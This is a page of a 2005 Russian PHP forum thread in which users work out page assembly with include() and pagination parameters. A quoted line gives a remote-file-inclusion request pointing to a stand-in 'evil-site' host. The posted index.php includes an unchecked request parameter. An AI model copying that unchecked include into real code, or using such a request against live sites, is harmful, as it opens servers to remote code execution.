Модераторы: skyboy, MoLeX, Aliance, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Сборка страницы include'ами, И индексация поисковиками 
:(
    Опции темы
Jey_k
Дата 20.9.2005, 13:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата(Bikutoru @ 20.9.2005, 13:08)
inc.php?page=http://evil-site.ru/evil_script

И подгруженый скрипт может выполнить на моем хосте всякие нехорошие...?


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 14:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Да, но там же написано, что если такой page нет, то даем 404 страницу, которая создается в движке.



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 14:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



PARROT
Вознила тут же трабла с передачей параметров.
Так индексный файл берет left.php и main.php, но мне надо взять не просто main а с параметром, например, main.php?block=1

Сделано для реализации постраничного вывода.
В самом main.php строится линейка
Код

$file=fopen("main/count.dat","r");
    $lim=fread($file,4);
    fclose($file);
    if ($lim>4) 
    {
     $pages=ceil($lim/4);
     $s=1;
     For ($i=1;$i<=$pages;$i++)
     {
      echo"[ <a href='main.php?block=".$i."'>".$i."</a> ]";
      $s=$s+4;
     }
    }


А далее в файле на основании значения переменной $block читаются данные из файлов и строится таблица.

Как быть? Include в index.php ругается при этом сильно и собирать страницу отказывается


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 15:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Ну чего то из этой оперы, попробуй.
Код

if (!isset($s)) $s=1;
    $a=file("main/count.dat");
    $num=count($a);
$numstr=ceil($num/4);
    $a=array_reverse($a);
echo "<table><tr><td>Страницы: ($numstr)</td>";
for($i=1; $i<=$numstr; $i++){
             if ($i==$s OR ($s==0 AND $i==1))
$st="<a href='main.php?s=$i><font color=red>[$i]</font></a>";  else $st="<a href=main.php?s=$i><font color=blue>[$i]</font></a>";
        print "<td>".$st."</td> ";

Что конкретно не получается с движком? Могу создать запаковать и прислать. smile


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 16:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



PARROT
Да линейку, то строит без проблем. Я не знаю какую ссылку ставить на элементы линейки.
Другими словами к какой странице отсылать при клике на элемент линейки.

Сама линейка и чтение с выводом происходят в одном файле.

т.е. сейчас мы на странице index.php?page=main.php но мне нужно main.php с параметром block=1, а ссылку типа index.php?page=main.php?block=1 интерпретатор не понимает.
Добавлено @ 16:06
Цитата(PARROT @ 20.9.2005, 15:32)
Что конкретно не получается с движком? Могу создать запаковать и прислать.

Он благополучно пришел. Знакомлюсь. Сейчас бьюсь головой об стол. Никак с этими параметрами не получается.


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 16:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



А.........у нас расширение уже есть, зачем еще раз?
Код

index.php?page=main&block=1



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 16:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата(PARROT @ 20.9.2005, 16:21)
у нас расширение уже есть, зачем еще раз?

Без этого не понимает. А если через & то параметр разве не в index.php передастся?


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 17:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Jey_k, просто такого не бывает.
Код

index.php?page=main&block=1&vasya=minus

Расширение может быть только один раз.
Мы подключаем все в индех, а потом меняем середину.
Код

main.php?page=main&block=1&vasya=minus

То что идет после амперсанд, это варианты этой же страницы. (незнаю как обозвать правильно).
Например:
Код

//вот так мы вызываем саму страницу, основную
main.php?page=main
//так мы вызываем ту же страницу уже с параметрами
main.php?page=main&block=1
//а так мы напимер открываем на той же странице форму для отправки письма:
main.php?page=main&block=1&mode=send
//где условием будет
if($mode=="send"){
//тут вывод формы
}

Помоему ты запутался напрочь. Почитай внимательно,то что я тебе прислала. smile
Внимательно! Сначала нарисуй как там, потом борись с безопасностью и добавь везде глобалку, а потом если не запутаешься до этого шага, все сложится как ни есть хорошо. smile

Это сообщение отредактировал(а) PARROT - 20.9.2005, 17:05


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 17:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата
Warning: Failed opening 'main' for inclusion (include_path='') in c:\program files\apache group\apache\htdocs\index.php on line 19

при попытке ввести http://localhost/index.php?page=main

Конкретизирую систему

Файл index.php:
Код

include "left.php";
include ($page);


Чтоб отобразить в качестве главного окна файлы soft.php hard.php main.php передаем их как параметры вот так index.php?page=main.php
Без расширения Напрочь отказывается.

В файле main.php сначала идет построение линейки, затем загрузка и отображение данных.
Данные подгружаются на основании значения переданного параметра $block.
Другими словами мне надо дать понять индексному файлу, что нужно подгрузить страницу main.php с параметром block=1. index.php?page=main.php&block=1 по всей логике передает параметр в индех или он автоматически отправится и к майн и всем прочим подключаемым страницам?

Пока не получается.


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 17:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Jey_k, глянь почту. smile
Код

index.php?main=page// это страница
//что находится в параметре block=1?
index.php?main=page&block=1//что передается этим параметром? Твой case? Забудь про него на время хотя бы. Иначе топик никогда не закончится. Давай разберемся сначала с простыми вещами.  :) 


Это сообщение отредактировал(а) PARROT - 20.9.2005, 17:51


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 17:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Загружается. smile
Экспериментально при помощи echo установил, что параметр block при таком вызове в страницу main.php не попал smile
Добавлено @ 17:56
Цитата(PARROT @ 20.9.2005, 17:40)
что передается этим параметром? Твой case?

Давай так. Есть 5 блоков информации. На страницу должно выводиться по 4.
Получается 2 страницы [1] и [2], эти цифры отображаются в линейке. Щелкаем по 1 загружаются первые 4, щелкаем по 2 старые 4 исчезают и загружается оставшийся 5-й блок.

параметр block усанавливает откуда начинать вывод, так при его значнии 2

установится что вывод начинать прокрутив 4 строки в листе заголовков, ну и прочие числовые параметры рассчитаются.


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 18:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Если щелкнуть по второй, должен грузиться 2 блок инфы.
Почему пятый? Пять блоков, по четыре сообщения, итого 20 сообщений и 5 страниц инфы. Да?
Так... этот blok=1 должен выскакивать на страницу, при нажатии на страницу вывода инфы №1, если block=2 то 2.



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 20.9.2005, 18:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



не получается почту загрузить.


то что я пытаюсь выяснить это больше к постраничному выводу


--------------------
PM MAIL WWW   Вверх
Jey_k
Дата 20.9.2005, 18:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



получил. Странно, там работает...


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 20.9.2005, 19:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Цитата(Jey_k @ 20.9.2005, 19:22)
получил. Странно, там работает...

Ну вот странно, посмотри внимательно, можешь для проверки повставлять свою инфу туда, когда поймешь смысл, соберешь свой двигатель. А потом уже будешь ...


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Страницы: (3) Все 1 [2] 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0553 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.